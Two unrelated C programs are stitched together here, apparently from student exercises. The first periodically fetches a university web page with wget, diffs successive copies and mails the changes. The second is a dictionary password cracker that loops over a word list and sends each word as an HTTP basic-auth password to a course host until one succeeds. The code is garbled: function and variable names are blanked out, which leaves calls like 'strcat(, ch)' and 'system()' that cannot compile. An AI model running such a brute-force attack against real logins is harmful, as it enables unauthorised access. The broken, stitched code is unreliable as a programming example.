
#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
int flag=1;
const char delimiter[]=" \n\t";
FILE *fp1;
char line1[100];
char filename1[50];
char *token;

while(1)
{
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test1");
sleep(3600);
system("wget http://www.cs.rmit.edu./students/ ");
system("mv index.html test2");
system("diff test1 test2 >test3");
system("file test3 >test4"); 
strcpy(filename1,"test4");
if((fp1=fopen(filename1,"r"))==NULL){
printf("cannot open file\n");
exit(1);
}
fgets(line1,sizeof(line1),fp1);
token=strtok(line1,delimiter);
        while(token!=NULL)
                {
if(strcmp(token,"empty")==0)
{
printf(" CHANGES\n");
flag=0;

}
token=strtok(NULL,delimiter);

                 }
if(flag==1)
{
system("mail  < test3");
}
fclose(fp1);
}
return(0);
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>

char *bruteforce(int *attempts);


int (void){

   int i, counter;
   int Timetaken;
   int initTime = 0, exitTime = 0;
   initTime = time();
   bruteforce(&counter);
   exitTime = time();
   Timetaken = exitTime - initTime;
   printf("\nTime taken is %lld millisecond\n", (Timetaken)/());
   printf("\nNumber of attempts  is... %d", counter);
   return 0;
}


char *bruteforce(int *attempts){     
  
   FILE *fp;
   char ch[100];
	*attempts=0;

   fp = fopen("/usr/share/lib/dict/words", "r");
   if (fp == NULL) {
      printf("file  not  open");
   }
   while (fgets(ch, 100, fp) != NULL){
	
		(*attempts)++;

      int  j = 0;
      while (j <= 100){

         if (ch[j] == '\n') {
            ch[j] = '\0';
            break;
         }
         j = j + 1;
       }
		 
       char  [100] = "wget  --http-user= --http-passwd=";
       strcat(, ch);
       strcat(, " http://sec-crack.cs.rmit.edu./SEC/2/index.php");
       printf("%s\n", );
       if (system() == 0){
          printf("Password cracked successfully: ");
          printf("Password is %s", ch);
          return NULL;
       }
   }
  
   fclose(fp);
}
